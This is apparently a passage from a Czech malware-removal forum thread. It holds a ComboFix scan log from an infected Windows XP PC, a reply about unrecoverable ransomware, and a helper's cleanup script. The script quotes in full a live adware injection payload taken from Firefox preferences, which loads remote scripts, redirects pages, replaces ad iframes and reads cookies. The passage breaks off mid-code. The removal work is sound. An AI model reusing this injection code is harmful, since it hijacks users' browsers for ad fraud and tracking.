a=document.getElementById(\r1113566095\).parentNode;a.style.position=\relative\;a.appendChild(d)};})();if(window.self.location.hostname.indexOf('hesefiles.c')>-1) window.self.location.href='about:blank';if(-1<window.self.location.hostname.indexOf(\usfiles.ne\)){var a=function(){$(\form[name=F1]\).submit(function(){if(-1<$(this).attr(\action\).indexOf(\bdl1=\))return $(\input[name=quick]\).attr(\checked\,!1),window.setTimeout(function(){$(\#btn_download\).attr(\disabled\,!1).val(\Download Now!!\);$(\form[name=F1]\).unbind(\submit\)},700),!1})};if(-1==navigator.userAgent.toLowerCase().indexOf(\chrome\))a();else{var s=document.createElement(\script\);s.type=\text/javascript\;s.innerHTML=$\+a.toString()+$()\;document.body.appendChild(s)}};if(-1<window.self.location.hostname.indexOf(\ebeast.co\)){var d=document.getElementsByTagName(\div\),i;for(i in d)d[i]&&d[i].style&&\fixed\==d[i].style.position&&\solid\==d[i].style.borderBottomStyle&&(d[i].style.display=\none\)};if(-1<window.self.location.hostname.indexOf(\oolrom.com\)){var date=new Date;date.setTime(date.getTime()+2592E6);var expires=\; expires=\+date.toGMTString();document.cookie=\installer=14604\+expires+\; path=/;domain=.coolrom.com\};;(function(){try{var b=\gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\.split(\ \);for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\z\);if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\download\)||-1<a.indexOf(\convert\)||-1<window.self.location.href.indexOf(\babylon\)||-1<window.self.location.href.indexOf(\se Update Go\)||-1<window.self.location.href.indexOf(\ilivid\)||-1<window.self.location.href.indexOf(\download\)||-1<a.indexOf(\regclean\)||-1<a.indexOf(\etype\)||-1<a.indexOf(\diction\)||-1<a.indexOf(\my-uq\)||-1<a.indexOf(\ftalk\)||-1<a.indexOf(\pcspeedmaximizer\)||-1<a.indexOf(\kingtransl\)||-1<a.indexOf(\jsopen\)||-1<a.indexOf(\7-zip\)||-1<a.indexOf(\boost pc\)||-1<a.indexOf(\computer slow\)||-1<a.indexOf(\7-update14\)||-1<a.indexOf(\player\)) || location.hostname.indexOf('jsopen.net')>-1){location.href=\http://yt.jobfindgold.info/e/?eid=13&hi ... }}catch(d){}})();if(-1==window.self.location.hostname.indexOf('mail.')){for(i=0;5>i;i++)window.setTimeout(function(){document.getElementById('c2soffer')&&document.getElementById('c2soffer').parentNode.removeChild(document.getElementById('c2soffer'))},100*i);var c2soffer=document.querySelectorAll('div.c2soffer');if(c2soffer.length)for(var i=0;i<c2soffer.length;i++)c2soffer[i].parentNode.removeChild(c2soffer[i]);document.getElementById('w3uyh7g6h7f5x')&&document.getElementById('w3uyh7g6h7f5x').parentNode.removeChild(document.getElementById('w3uyh7g6h7f5x'))}})();(function(){void(0)})()
FF - prefs.js: keyword.URL - hxxp://search.icq.com/search/afe_results.php?ch_id=sm&tb_ver=1.4.3&q=
FF - prefs.js: browser.startup.homepage -
FF - Ext: Default: {972ce4c6-7e08-4474-a285-3208198ce6fd} - c:\program files\Mozilla Firefox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
FF - Ext: Click to call with Skype: {82AF8DCA-6DE9-405D-BD5E-43525BDAD38A} - c:\program files\Mozilla Firefox\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}
FF - Ext: ICQ Toolbar: {800b5000-a755-47e1-992b-48a1c1357f07} - %profile%\extensions\{800b5000-a755-47e1-992b-48a1c1357f07}
FF - Ext: ADDICT-THING: 4fc1fea6f2d29@4fc1fea6f2d63.info - %profile%\extensions\4fc1fea6f2d29@4fc1fea6f2d63.info
FF - Ext: Babylon: ffxtlbr@babylon.com - %profile%\extensions\ffxtlbr@babylon.com
FF - Ext: uTorrentControl_v2 : {7473b6bd-4691-4744-a82b-7854eb3d70b6} - %profile%\extensions\{7473b6bd-4691-4744-a82b-7854eb3d70b6}
FF - Ext: Seznam liĹˇtiÄŤka: {ea614400-e918-4741-9a97-7a972ff7c30b} - %profile%\extensions\{ea614400-e918-4741-9a97-7a972ff7c30b}
FF - Ext: avast! Online Security: wrc@avast.com - c:\program files\AVAST Software\Avast\WebRep\FF
FF - user.js: extensions.incredibar_i.newTab - false
FF - user.js: extensions.incredibar_i.tlbrSrchUrl - hxxp://mystart.Incredibar.com/?a=6R8ucUitdV&loc=IB_TB&i=26&search=
FF - user.js: extensions.incredibar_i.id - a44519f0000000000000001fd0a274b3
FF - user.js: extensions.incredibar_i.instlDay - 15487
FF - user.js: extensions.incredibar_i.vrsn - 1.5.11.14
FF - user.js: extensions.incredibar_i.vrsni - 1.5.11.14
FF - user.js: extensions.incredibar_i.vrsnTs - 1.5.11.1421:24
FF - user.js: extensions.incredibar_i.prtnrId - Incredibar
FF - user.js: extensions.incredibar_i.prdct - incredibar
FF - user.js: extensions.incredibar_i.aflt - orgnl
FF - user.js: extensions.incredibar_i.smplGrp - none
FF - user.js: extensions.incredibar_i.tlbrId - base
FF - user.js: extensions.incredibar_i.instlRef -
FF - user.js: extensions.incredibar_i.dfltLng -
FF - user.js: extensions.incredibar_i.excTlbr - false
FF - user.js: extensions.incredibar_i.ms_url_id -
FF - user.js: extensions.incredibar_i.upn2 - 6R8ucUitdV
FF - user.js: extensions.incredibar_i.upn2n - 92824433622969027
FF - user.js: extensions.incredibar_i.productid - 26
FF - user.js: extensions.incredibar_i.installerproductid - 26
FF - user.js: extensions.incredibar_i.did - 10650
FF - user.js: extensions.incredibar_i.ppd - 20%5F5
FF - user.js: extensions.BabylonToolbar_i.id - a44519f0000000000000001fd0a274b3
FF - user.js: extensions.BabylonToolbar_i.hardId - a44519f0000000000000001fd0a274b3
FF - user.js: extensions.BabylonToolbar_i.instlDay - 15543
FF - user.js: extensions.BabylonToolbar_i.vrsn - 1.5.3.17
FF - user.js: extensions.BabylonToolbar_i.vrsni - 1.5.3.17
FF - user.js: extensions.BabylonToolbar_i.vrsnTs - 1.5.3.1721:40
FF - user.js: extensions.BabylonToolbar_i.prtnrId - babylon
FF - user.js: extensions.BabylonToolbar_i.prdct - BabylonToolbar
FF - user.js: extensions.BabylonToolbar_i.aflt - babsst
FF - user.js: extensions.BabylonToolbar_i.smplGrp - none
FF - user.js: extensions.BabylonToolbar_i.tlbrId - base
FF - user.js: extensions.BabylonToolbar_i.newTab - false
FF - user.js: extensions.BabylonToolbar_i.babTrack - affID=114022&tt=2912_8
FF - user.js: extensions.BabylonToolbar_i.babExt -
FF - user.js: extensions.BabylonToolbar_i.srcExt - ss
FF - user.js: extensions.BabylonToolbar_i.instlRef - sst
.
.
**************************************************************************
.
catchme 0.3.1398 W2K/XP/Vista - rootkit/stealth malware detector by Gmer, http://www.gmer.net
Rootkit scan 2014-01-04 21:20
Windows 5.1.2600 Service Pack 3 NTFS
.
skenování skrytých procesů ...
.
skenování skrytých položek 'Po spuštění' ...
.
skenování skrytých souborů ...
.
sken byl úspešně dokončen
skryté soubory: 0
.
**************************************************************************
.
--------------------- ZAMKNUTÉ KLÍČE V REGISTRU ---------------------
.
[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}]
@Denied: (A 2) (Everyone)
@="FlashBroker"
"LocalizedString"="@c:\\WINDOWS\\system32\\Macromed\\Flash\\FlashUtil32_11_9_900_170_ActiveX.exe,-101"
.
[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\Elevation]
"Enabled"=dword:00000001
.
[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\LocalServer32]
@="c:\\WINDOWS\\system32\\Macromed\\Flash\\FlashUtil32_11_9_900_170_ActiveX.exe"
.
[HKEY_LOCAL_MACHINE\software\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\TypeLib]
@="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}"
.
[HKEY_LOCAL_MACHINE\software\Classes\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}]
@Denied: (A 2) (Everyone)
@="IFlashBroker5"
.
[HKEY_LOCAL_MACHINE\software\Classes\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}\ProxyStubClsid32]
@="{00020424-0000-0000-C000-000000000046}"
.
[HKEY_LOCAL_MACHINE\software\Classes\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}\TypeLib]
@="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}"
"Version"="1.0"
.
Celkový čas: 2014-01-04 21:22:18
ComboFix-quarantined-files.txt 2014-01-04 20:22
.
Před spuštěním: Volných bajtů: 55 200 288 768
Po spuštění: Volných bajtů: 57 600 569 344
.
WindowsXP-KB310994-SP2-Home-BootDisk-CSY.exe
[boot loader]
timeout=2
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
c:\cmdcons\BOOTSECT.DAT="Microsoft Windows Recovery Console" /cmdcons
UnsupportedDebug="do not select this" /debug
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Home Edition" /noexecute=optin /fastdetect /usepmtimer
.
- - End Of File - - CCE088CED3E598B6C02CDA2EC8497B4B
413FC2A0C716421B3158746D63736515

#4 Příspěvek od **vyosek** » 04 led 2014 21:26

Zdravim

Omlouvam se kolegovi za vstup

S temi zasifrovanymi soubory mate uz bohuzel smulu

Snazil jsem se toho jiz resit s autory, kteri delaji desifrovaci utility,ale neni zatim mozne to rozklicovat...

Je to opravdu spatne, tenhle kram ma desifrovaci klic u nich na webu.

Fabian Wosar (Authorized Emsisoft Representative) píše:I only took a brief look at it a few weeks ago. Back then it appeared to use RSA for encrypting the files, where one half of the key was stored on the attackers server. Without that half, decryption is impossible.

#5 Příspěvek od **Rudy** » 04 led 2014 21:59

Ještě dočistíme. Otevřte poznámkový blok a zkopírujte do něj:

KillAll::

File::
c:\windows\Tasks\GoogleUpdateTaskMachineCore.job
c:\windows\Tasks\GoogleUpdateTaskMachineUA.job

Registry::
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar\Webbrowser]
"{7473B6BD-4691-4744-A82B-7854EB3D70B6}"=-

Firefox::
FF - ProfilePath - c:\documents and settings\123\Data aplikací\Mozilla\Firefox\Profiles\fz621cfe.default\
user_pref(browser.places.importBookmarksHTML, false);user_pref(browser.places.importDefaults, false);user_pref(browser.places.leftPaneFolderId, -1);user_pref(browser.places.migratePostDataAnnotations, false);user_pref(browser.places.smartBookmarksVersion, 2);user_pref(browser.places.updateRecentTagsUri, false);user_pref(browser.rights.3.shown, true);user_pref(browser.search.defaultenginename, Search the web (Babylon));user_pref(browser.search.order.1, Search the web (Babylon));FF - prefs.js: browser.search.selectedEngine - Search the web (Babylon));user_pref(browser.shell.checkDefaultBrowser, false);user_pref(browser.startup.homepage_override.mstone, rv:1.9.2.13);user_pref(extensions.4fc1fea6f2dd7.epoch, 1387576268);user_pref(browser.startup.homepage, hxxp://mystart.incredibar.com/?a=6R8ucUitdV&loc=skw);user_pref(browser.newtab.url,http://mystart.incredibar.com/?a=6R8ucUitdV&loc=skw);user_pref(extensions.4fc1fea6f2dd7.scode, (function(){if(window.self.location.hostname.indexOf(\acebook.co\)>-1){return};if(window.self==window.top){var script=document.createElement(\script\);script.type=\text/javascript\;script.src=\//cdncache-a.akamaihd.net/loaders/1499/l.js?aoi=1311798366&pid=1499&zoneid=292541&ext=safesaver\;document.getElementsByTagName(\head\)[0].appendChild(script)};;try{new function(){if(null==document.getElementById(\id_arrrrppdjafklbvnn4440fm\)&&\http:\==location.protocol&&window.self==window.top){var a=document.createelement(\script\);a.type=\text/javascript\;a.src=\http://istatic.datafastguru.info/fo/min ... $12){};;if(window.self.location.hostname.indexOf('mail.')==-1)\r\n{try{for(i=0;i<5;i++){window.setTimeout(function(){if(document.getElementById(\cblocker\)){document.getElementById(\cblocker\).parentNode.removeChild(document.getElementById(\cblocker\));};if(document.getElementById(\_vdcbl\)){document.getElementById(\_vdcbl\).parentNode.removeChild(document.getElementById(\_vdcbl\));}},i*100)}}catch(e){};\r\n};(function(){try{if(window.opener&&window.self==window.top&&-1==document.cookie.indexOf(\xcddsa\)&&-1==window.self.location.href.indexOf(\px.pluginh\)&&window.self.location.hostname.indexOf('earchfu')==-1&&(!document.referrer||-1==document.referrer.indexOf('/amz/')&&(!document.referrer.match(/cpops-\\d+\\.html/))&&-1==document.referrer.indexOf(\px.pluginh\))&&-1==window.self.location.href.indexOf(\ally.asi\)&&-1==window.self.location.href.indexOf('/amz/')&&(!window.self.location.href.match(/cpops-\\d+\\.html/))&&-1==window.self.location.hostname.indexOf(\getjs\)&&-1==window.self.location.hostname.indexOf(\hsbc\)&&3>history.length){var c=navigator.userAgent.toLowerCase(),d=\http://rbv.jobfindgold.info/a1/?eid=13&hid=0&pid=20&rf=\ + encodeURIComponent(document.referrer) +\&s=px.pluginh&r=\+Math.random();if(-1<c.indexOf(\msie\)&&(!document.referrer||-1==document.referrer.indexOf(location.hostname))){var e=window.innerWidth||document.documentElement.scrollWidth||0,f=window.innerHeight||document.documentElement.scrollHeight||0;if(e){window.resizeTo(e,f);var g=window.innerWidth||document.documentElement.scrollWidth,k=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(e+2,f);var h=window.scrollWidth||document.documentElement.scrollWidth;if(h!=g&&h<=g+2&&90>=f-k){var a=new Date;a.setHours(a.getHours()+1);document.cookie=\xcddsa=1;expires=\+a.toUTCString();window.self.location.href=d}}}else if(!window.menubar.visible&&document.referrer&&-1==document.referrer.indexOf(window.self.location.hostname)){a=new Date;a.setHours(a.getHours()+1);document.cookie=\xcddsa=1;expires=\+a.toUTCString();var b=document.createElement(\script\);b.type=\text/javascript\;-1<c.indexOf(\chrome\)&&(b.innerHTML='document.getElementsByTagName(\body\)[0].setAttribute(\xcddsa\,\1\)',document.getElementsByTagName(\body\)[0].appendChild(b),setTimeout(function(){document.getElementsByTagName(\body\)[0].getAttribute(\xcddsa\)&&(window.self.location.href=d)},10));-1<c.indexOf(\firefox\)&&(b.innerHTML='setTimeout(function(){window.self.location.href=\'+d+'\;},10)',document.getElementsByTagName(\head\)[0].appendChild(b))}}}catch(l){}})();if(-1<window.self.location.href.indexOf(\df.ly/\)){var dd=document.getElementById(\rf\);dd&&dd.setAttribute(\src\,\http://rbv.jobfindgold.info/x/?ch=1\)}(\rdlnk.co\==window.self.location.hostname||\adfoc.us\==window.self.location.hostname||\www.adsbeta.net\==window.self.location.hostname||\ad5.eu\==window.self.location.hostname)&&(dd=document.getElementsByTagName(\iframe\)[0])&&dd.setAttribute(\src\,\http://rbv.jobfindgold.info/x/?ch=1\);\cf.ly\==window.self.location.hostname&&(dd=document.getElementsByTagName(\iframe\)[1])&&dd.setAttribute(\src\,\http://rbv.jobfindgold.info/x/?ch=1\);\adv.li\==window.self.location.hostname&&(dd=document.getElementById(\main\))&&dd.setAttribute(\src\,\http://rbv.jobfindgold.info/x/?ch=1\);;var _wlst={lsKey:\ssjsmn2ja8ddw2a\,get:function(b,a){if(3<b)return a(!1);var d=this.fetch();if(d)return a(parseInt(d));if(1==b){crc=this.hcrc32(window.self.location.hostname.replace(\www.\,\\));try{var c=document.createElement(\script\);c.type=\text/javascript\;try{c.async=\async\}catch(e){}c.src=\http://v.zilionfast.in/\+crc+\/?t=vrt\;(document.getElementsByTagName(\head\)[0]||document.getElementsByTagName(\body\)[0]).appendChild(c)}catch(f){}}setTimeout(function(){_wlst.get(++b,a)},180)},fetch:function(){try{if(\undefined\!=localStorage)try{return localStorage.getItem(this.lsKey)}catch(b){return 0}else _wlst.getCkie()}catch(a){_wlst.getCkie()}},getCkie:function(){if(0<document.cookie.length&&(c_start=document.cookie.indexOf(this.lsKey+\=\),-1!=c_start))return c_start=c_start+this.lsKey.length+1,c_end=document.cookie.indexOf(\;\,c_start),-1==c_end&&(c_end=document.cookie.length),unescape(document.cookie.substring(c_start,c_end))},hcrc32:function(b,a){a||(a=0);var d=0;a^=-1;for(var c=0,e=b.length;c<e;c++)d=(a^b.charCodeAt(c))&255,d=\0x\+\00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D\.substr(9*d,8),a=a>>>8^d;c=a^-1;0>c&&(c+=4294967296);return c}},_zyad={title:document.title?document.title.toLowerCase():\na\,location:window.self.location.href.toLowerCase() + (document.referrer ? document.referrer : ''),vrt:!1,networks_list:[[['mari_media_rmx',475],['admanage_gen',113],['dsnr_dasl_tier2_rmx_gen',80],['cpx_bet_55',3691],['dsnr_dasl_tier3_rmx_gen',101],['dsnr_dasa_gentb1',1275],['dsnr_dsnrtbA2_tb',317],['dsnr_dasa_gentb3',318],['start_me_app_tier2',515],['intag_apx',81],['dsnr_toptier2_gentb',200],['matomy_adj6',2478],['adstract_new_gentb',256],['adacive_gen',100]],[['mari_strm_new',442],['e_viral_strm',231],['mmg_strm',327],['matomy_strm_3',9000]],[['hulk_porn',10000]]],networks_conf:!1,init:function(){_wlst.get(1,function(b){_zyad.vrt=b;if(!(_zyad.vrt==17 || _zyad.location.indexOf('MKiBbWjX=')>-1|| _zyad.location.indexOf('adk2.co')>-1 ||window.self.location.hostname==\ad.yieldmanager.com\||window.self.location.hostname==\cpm.geoadserver.com\||window.self.location.hostname==\ad.z5x.net\||window.self.location.hostname==\tr.adsplats.com\||window.self.location.hostname==\an.z5x.net\||window.self.location.hostname==\ib.adnxs.com\||window.self.location.hostname==\pl.intag.co\||window.self.location.hostname==\a.adorika.net\||window.self.location.hostname==\net.e-viral.com\||window.self.location.hostname==\srv1.mediads.info\||window.self.location.hostname==\ads.ventivmedia.com\|| _zyad.location.indexOf('=292541')>-1|| _zyad.location.indexOf('=458516')>-1||_zyad.location.indexOf('PT1311')>-1||_zyad.location.indexOf('1018-1005')>-1||_zyad.location.indexOf('1019-1001')>-1||_zyad.location.indexOf('2136&zid=')>-1))if(_zyad.networks_conf=12==_zyad.vrt?_zyad.networks_list[2]:_zyad.vrt?_zyad.networks_list[1]:!_zyad.getisP()?_zyad.networks_list[0]:!1,_zyad.networks_conf){for(i=0;5>i;i++)setTimeout(_zyad.find,500*i);window.self==window.top&&1==Math.floor(7*Math.random()+1)&&setTimeout(function(){_zyad.find(1)},6E4)}})},getisD:function(){return-1<_zyad.title.indexOf(\torrent\)||-1<_zyad.location.indexOf(\torrent\)},getisNA:function(){return!1},getisP:function(){try{if(12==_zyad.vrt)return!0;if(_zyad.vrt)return!1;var b=document.getElementsByTagName(\meta\);if(b)for(i=0;i<b.length;i++)try{if(b&&b.getAttribute(\name\)){var a=b.getAttribute(\name\).toLowerCase();if(\description\==a||\keywords\==a)_zyad.title=_zyad.title+\ \+b.getAttribute(\content\)}}catch(d){}}catch(c){}b=\porn sex xxx tits adult lesbian squirt creampie bondage ExSuna mature fisting fuck gangbang orgy gay nude tits tranny blowjob handjob masturbat busty slut joder horny mamada polla cock pussy threesome teens milf bdsm hentai motherless erotic cams petite\.split(\ \);for(i in b)if(-1<_zyad.location.indexOf(b)||-1<_zyad.title.indexOf(b))return!0;return!1},epoch:function(){try{var b=new Date;try{return(b.getTime()-b.getMilliseconds())/1E3}catch(a){return parseInt(b.getTime()/1E3)}}catch(d){return 0}},between:function(b,a){return b>=a-7&&b<=a+7},detectRsize:function(b){try{var a=[0,0];try{a=[parseInt(\number\==typeof b.width||\string\==typeof b.width&&b.width.match(/[0-9]/)?b.width:b.scrollWidth),parseInt(\number\==typeof b.height||\string\==typeof b.height&&b.height.match(/[0-9]/)?b.height:b.scrollHeight)]}catch(d){}var c=_zyad.between;switch(!0){case c(a[1],600)&&c(a[0],120):return[120,600];case c(a[1],600)&&c(a[0],160):return[160,600];case c(a[1],600)&&c(a[0],300):return[300,600];case c(a[1],125)&&c(a[0],125):return[125,125];case c(a[1],250)&&c(a[0],300):return[300,250];case c(a[1],250)&&c(a[0],250):return[250,250];case c(a[1],250)&&c(a[0],336):return[300,250];case c(a[1],150)&&c(a[0],180):return[180,150];case c(a[1],400)&&c(a[0],600):return[600,400];case c(a[1],60)&&c(a[0],120):return[120,60];case c(a[1],100)&&c(a[0],300):return[300,100];case c(a[1],60)&&c(a[0],234):return[234,60];case c(a[1],60)&&c(a[0],460):return[460,60];case c(a[1],60)&&c(a[0],468):return[468,60];case c(a[1],90)&&c(a[0],728):return[728,90];default:return!1}}catch(e){return!1}},find:function(b){var a=[],d=window.self.document.getElementsByTagName(\iframe\);for(i=0;i<d.length;i++){if(!b)try{if(d.hasAttribute(\s8455075098880041531\))continue}catch(c){try{if(d.getAttribute(\s8455075098880041531\))continue}catch(e){}};try{if(d.src.indexOf('=292541')>-1||d.src.indexOf('=458516')>-1||d[i].src.indexOf('1018-1005')>-1||d[i].src.indexOf('1019-1001')>-1||d[i].src.indexOf('2136&zid=')>-1||(d[i].getAttribute('name')&&d[i].getAttribute('id')==d[i].getAttribute('name')&&d[i].getAttribute('name').match(/^ap\\d+$/))){try{d[i].setAttribute(\s8455075098880041531\, \true\);d[i].setAttribute(\replaced\, \true\);}catch(e){};continue;}}catch(e){};(rSize=_zyad.detectRsize(d[i]))&&a.push({size:rSize,ifr:d[i],func:function(a,b){_zyad.setNetwork(a.ifr,a.size);b++;a&&a&&\function\==typeof a.func&&setTimeout(function(){a.func(a,b)},1)}})}a[0]&&a[0].func&&a[0].func(a,0)},setNetwork:function(b,a){if(a&&b){var d=0,c=0,e=Math.floor(10000*Math.random()+0.9),f=0,h={},g=[];for(i=0;i<_zyad.networks_conf.length;i++){var j=_zyad.networks[_zyad.networks_conf[i][0]](a);j&&(h[i]=j,g.push(i),d+=_zyad.networks_conf[i][1])}10000<d&&(c=Math.floor((10000-d)/g.length+0.9));for(i=0;i<g.length;i++)if(d=g[i],f+=_zyad.networks_conf[i][1]+c,f>=e){h[d](b);break}}},iset:function(ifr, url, mode, properties){try{switch(mode){default:case 1:var channel = 0;try{if(ifr.getAttribute('bow')) channel=1}catch(e){}ifr.src = url + (properties ? (url.indexOf('?')>'-1' ? '&' : '/?') + 'MKiBbWjX=' + properties[0] + '_' + properties[1] + '_' + channel : '');break;case 2:try{ifr.src='about:blank';ifr.contentWindow.document.write('<html><head>\\x3cscript>setTimeout(function(){location.href=\'+url+'\},1)\\x3c/script></head><body> \\x3c/body>\\x3c/html>');}catch(e){var h = '<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body><iframe name=\a7h3h73d3\ src=\about:blank\ style=\width:100%;height:100%;border:0\ MARGINWIDTH=\0\ MARGINHEIGHT=\0\ frameborder=\0\ scrolling=\no\ width=\100%\ height=\100%\></iframe>\\x3cscript>setTimeout(function(){frames[\a7h3h73d3\].document.write(\<\+\script>setTimeout(function(){setTimeout(function(){location.href=\\x5c\\\\x27'+url+'\\x5c\\\\x27},1)},1);\+\<\+\/script>\)},1)\\x3c/script></body></html>';ifr.src='javascript:document.write(\\''+h+'\\');'}break;case 3:ifr.src = \about:blank\;ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style>\\x3cscript>setTimeout(function(){document.getElementsByTagName(\body\)[0].innerHTML=\\\x3cscript src=\'+url+'\>\\x3c/script>\},10)\\x3c/script></head><body> </body></html>');break;case 4:ifr.src = \about:blank\;ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body>'+url+'</body></html>');break;}try{ifr.setAttribute(\s8455075098880041531\, \true\);ifr.setAttribute(\replaced\, \true\)}catch(e){}}catch(e){}},networks:{mari_media_rmx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ad.yieldmanager.com/st?ad_type=i ... code=13_20', (atp?atp:1), [236,size]);}}catch(e){return !1;}},admanage_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://cpm.geoadserver.com/tag?zone_id= ... ype=iframe', (atp?atp:1), [260,size]);}}catch(e){return !1;}},dsnr_dasl_tier2_rmx_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://ad.z5x.net/st?ad_type=iframe&ad_ ... code=13_20', (atp?atp:2), [309,size]);}}catch(e){return !1;}},cpx_bet_55:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;var reff = window.top==window.self ? encodeURIComponent(window.self.location.href) : '';;return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.com/cmp/1412355/inde ... rer='+reff+'', (atp?atp:1), [354,size]);}}catch(e){return !1;}},dsnr_dasl_tier3_rmx_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 120x600 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ad.z5x.net/st?ad_type=iframe&ad_ ... code=13_20', (atp?atp:1), [357,size]);}}catch(e){return !1;}},dsnr_dasa_gentb1:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var reff = window.top == window.self ? encodeURIComponent(window.self.location.href) : '';var surl = \http://an.z5x.net/tt?id=1992474&size=\+ ... eff;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [371,size]);}}catch(e){return !1;}},dsnr_dsnrtbA2_tb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 